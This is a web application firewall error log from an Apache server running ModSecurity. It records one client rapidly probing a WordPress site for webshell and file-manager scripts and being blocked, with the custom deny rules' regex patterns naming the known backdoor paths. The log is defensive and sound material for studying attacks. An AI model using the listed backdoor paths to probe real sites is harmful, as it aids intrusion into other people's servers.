[Thu May 07 00:31:16.506314 2026] [:error] [pid 9789:tid 9792] [client 20.104.207.18:27584] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a7.php"] [unique_id "afts1D_YStPJSCHPkUXDKwAAAEE"]
[Thu May 07 00:31:16.960874 2026] [:error] [pid 9789:tid 9814] [client 20.104.207.18:27608] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a7.php"] [unique_id "afts1D_YStPJSCHPkUXDLQAAAFc"]
[Thu May 07 00:31:17.383807 2026] [:error] [pid 9653:tid 9698] [client 20.104.207.18:27711] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a7.php"] [unique_id "afts1ahJ49Xc4dqq0B5YogAAAAA"]
[Thu May 07 00:31:17.861344 2026] [:error] [pid 9653:tid 9709] [client 20.104.207.18:27769] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afts1ahJ49Xc4dqq0B5YpgAAAAs"]
[Thu May 07 00:31:18.284214 2026] [:error] [pid 9664:tid 9775] [client 20.104.207.18:27712] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afts1gH4OZbrg1SjsBNotgAAAI0"]
[Thu May 07 00:31:18.759023 2026] [:error] [pid 9653:tid 9706] [client 20.104.207.18:27615] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afts1qhJ49Xc4dqq0B5YrAAAAAg"]
[Thu May 07 00:31:19.174145 2026] [:error] [pid 592:tid 611] [client 20.104.207.18:27652] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afts15iX28mb6xLi2PzBXAAAAo8"]
[Thu May 07 00:31:19.595792 2026] [:error] [pid 9664:tid 9777] [client 20.104.207.18:27715] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afts1wH4OZbrg1SjsBNouQAAAI8"]
[Thu May 07 00:31:20.026486 2026] [:error] [pid 13443:tid 13450] [client 20.104.207.18:27624] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afts2ACyfZallDmsQretFgAAAUU"]
[Thu May 07 00:31:20.438245 2026] [:error] [pid 9789:tid 9795] [client 20.104.207.18:27694] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afts2D_YStPJSCHPkUXDNQAAAEQ"]
[Thu May 07 00:31:20.880815 2026] [:error] [pid 9653:tid 9721] [client 20.104.207.18:27748] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afts2KhJ49Xc4dqq0B5YsQAAABc"]
[Thu May 07 00:31:21.330348 2026] [:error] [pid 9653:tid 9718] [client 20.104.207.18:27616] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "afts2ahJ49Xc4dqq0B5YswAAABQ"]
[Thu May 07 00:31:21.744854 2026] [:error] [pid 9664:tid 9785] [client 20.104.207.18:27686] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "afts2QH4OZbrg1SjsBNouwAAAJc"]
[Thu May 07 00:31:22.197243 2026] [:error] [pid 9664:tid 9769] [client 20.104.207.18:27657] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "afts2gH4OZbrg1SjsBNovAAAAIc"]
[Thu May 07 00:31:22.628845 2026] [:error] [pid 9653:tid 9707] [client 20.104.207.18:27681] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "afts2qhJ49Xc4dqq0B5YtwAAAAk"]
[Thu May 07 00:31:23.064059 2026] [:error] [pid 9653:tid 9700] [client 20.104.207.18:27605] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mifta.php"] [unique_id "afts26hJ49Xc4dqq0B5YugAAAAI"]
[Thu May 07 00:31:23.507460 2026] [:error] [pid 13443:tid 13456] [client 20.104.207.18:27623] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mifta.php"] [unique_id "afts2wCyfZallDmsQretGgAAAUs"]
[Thu May 07 00:31:23.950758 2026] [:error] [pid 9653:tid 9719] [client 20.104.207.18:27592] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mifta.php"] [unique_id "afts26hJ49Xc4dqq0B5YvQAAABU"]
[Thu May 07 00:31:24.395534 2026] [:error] [pid 9789:tid 9807] [client 20.104.207.18:27650] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mifta.php"] [unique_id "afts3D_YStPJSCHPkUXDOgAAAFA"]
[Thu May 07 00:31:24.842557 2026] [:error] [pid 9653:tid 9708] [client 20.104.207.18:27598] [client 20.104.207.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "afts3KhJ49Xc4dqq0B5YwAAAAAo"]
[Thu May 07 00:31:25.292206 2026] [:error] [pid 63810:tid 63820] [client 20.104.207.18:27766] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "afts3XpnbsN9Zf6i5IFMUAAAAYY"]
[Thu May 07 00:31:25.749072 2026] [:error] [pid 9789:tid 9793] [client 20.104.207.18:27619] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "afts3T_YStPJSCHPkUXDPQAAAEI"]
[Thu May 07 00:31:26.191161 2026] [:error] [pid 9653:tid 9719] [client 20.104.207.18:27590] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "afts3qhJ49Xc4dqq0B5YxwAAABU"]
[Thu May 07 00:31:26.631513 2026] [:error] [pid 63810:tid 63829] [client 20.104.207.18:27691] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "afts3npnbsN9Zf6i5IFMUwAAAY8"]
[Thu May 07 00:31:27.064514 2026] [:error] [pid 13414:tid 13431] [client 20.104.207.18:27634] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "afts30uJQpWjVpJTu_k1JQAAAQ8"]
[Thu May 07 00:31:27.508566 2026] [:error] [pid 482:tid 509] [client 20.104.207.18:27772] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "afts38xs8HOc_nWgOW6ImgAAAdc"]
[Thu May 07 00:31:27.929838 2026] [:error] [pid 9653:tid 9705] [client 20.104.207.18:27683] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "afts36hJ49Xc4dqq0B5YzAAAAAc"]
[Thu May 07 00:31:28.361178 2026] [:error] [pid 9659:tid 9739] [client 20.104.207.18:27739] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "afts4PwJnWjd8JHpBtusjAAAAMU"]
[Thu May 07 00:31:28.799778 2026] [:error] [pid 9653:tid 9716] [client 20.104.207.18:27597] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "afts4KhJ49Xc4dqq0B5YzwAAABI"]
[Thu May 07 00:31:29.233848 2026] [:error] [pid 9653:tid 9700] [client 20.104.207.18:27638] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "afts4ahJ49Xc4dqq0B5Y0QAAAAI"]
[Thu May 07 00:31:29.676759 2026] [:error] [pid 9653:tid 9711] [client 20.104.207.18:27587] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "afts4ahJ49Xc4dqq0B5Y1AAAAA0"]
[Thu May 07 00:31:30.101833 2026] [:error] [pid 9653:tid 9721] [client 20.104.207.18:27749] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "afts4qhJ49Xc4dqq0B5Y3AAAABc"]
[Thu May 07 00:31:30.545127 2026] [:error] [pid 9653:tid 9708] [client 20.104.207.18:27618] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afts4qhJ49Xc4dqq0B5Y3wAAAAo"]
[Thu May 07 00:31:31.096800 2026] [:error] [pid 9653:tid 9719] [client 20.104.207.18:27591] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afts46hJ49Xc4dqq0B5Y4wAAABU"]
[Thu May 07 00:31:31.597807 2026] [:error] [pid 9789:tid 9813] [client 20.104.207.18:27629] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afts4z_YStPJSCHPkUXDTgAAAFY"]
[Thu May 07 00:31:32.132732 2026] [:error] [pid 592:tid 597] [client 20.104.207.18:27523] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afts5JiX28mb6xLi2PzBXgAAAoE"]
[Thu May 07 00:31:32.739944 2026] [:error] [pid 557:tid 583] [client 20.104.207.18:27537] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afts5DZjFR8Vd8ce80A7gQAAAlg"]
[Thu May 07 00:31:33.173278 2026] [:error] [pid 9659:tid 9756] [client 20.104.207.18:27740] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afts5fwJnWjd8JHpBtuskgAAANY"]
[Thu May 07 00:31:33.654106 2026] [:error] [pid 592:tid 602] [client 20.104.207.18:27679] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afts5ZiX28mb6xLi2PzBYAAAAoY"]
[Thu May 07 00:31:34.175328 2026] [:error] [pid 63810:tid 63836] [client 20.104.207.18:27662] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afts5npnbsN9Zf6i5IFMVQAAAZY"]
[Thu May 07 00:31:34.711405 2026] [:error] [pid 592:tid 622] [client 20.104.207.18:27714] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "afts5piX28mb6xLi2PzBYwAAApc"]
[Thu May 07 00:31:35.166801 2026] [:error] [pid 9664:tid 9768] [client 20.104.207.18:27672] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "afts5wH4OZbrg1SjsBNowgAAAIY"]
[Thu May 07 00:31:35.670073 2026] [:error] [pid 13443:tid 13461] [client 20.104.207.18:27692] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "afts5wCyfZallDmsQretHwAAAVA"]
[Thu May 07 00:31:36.112220 2026] [:error] [pid 9789:tid 9796] [client 20.104.207.18:27750] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "afts6D_YStPJSCHPkUXDVAAAAEU"]
[Thu May 07 00:31:36.540110 2026] [:error] [pid 9659:tid 9748] [client 20.104.207.18:27693] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "afts6PwJnWjd8JHpBtuslgAAAM4"]
[Thu May 07 00:31:36.953653 2026] [:error] [pid 482:tid 491] [client 20.104.207.18:27675] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "afts6Mxs8HOc_nWgOW6IqwAAAcc"]
[Thu May 07 00:31:37.414500 2026] [:error] [pid 9789:tid 9804] [client 20.104.207.18:27636] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "afts6T_YStPJSCHPkUXDWwAAAE0"]
[Thu May 07 00:31:37.932250 2026] [:error] [pid 482:tid 503] [client 20.104.207.18:27753] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "afts6cxs8HOc_nWgOW6IrQAAAdM"]
[Thu May 07 00:31:38.372672 2026] [:error] [pid 482:tid 499] [client 20.104.207.18:27609] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "afts6sxs8HOc_nWgOW6IsAAAAc8"]
[Thu May 07 00:31:38.813599 2026] [:error] [pid 9789:tid 9802] [client 20.104.207.18:27603] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "afts6j_YStPJSCHPkUXDYgAAAEs"]
[Thu May 07 00:31:39.250939 2026] [:error] [pid 9789:tid 9813] [client 20.104.207.18:27649] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "afts6z_YStPJSCHPkUXDYwAAAFY"]
[Thu May 07 00:31:39.684293 2026] [:error] [pid 13414:tid 13423] [client 20.104.207.18:27676] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "afts60uJQpWjVpJTu_k1LAAAAQc"]
[Thu May 07 00:31:40.104121 2026] [:error] [pid 9664:tid 9786] [client 20.104.207.18:27677] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "afts7AH4OZbrg1SjsBNoxAAAAJg"]
[Thu May 07 00:31:40.569635 2026] [:error] [pid 9664:tid 9769] [client 20.104.207.18:27614] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "afts7AH4OZbrg1SjsBNoyAAAAIc"]
[Thu May 07 00:31:40.983685 2026] [:error] [pid 9653:tid 9717] [client 20.104.207.18:27635] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "afts7KhJ49Xc4dqq0B5Y6QAAABM"]
[Thu May 07 00:31:45.948522 2026] [:error] [pid 482:tid 507] [client 20.104.207.18:27648] [client 20.104.207.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "afts8cxs8HOc_nWgOW6IvgAAAdU"]
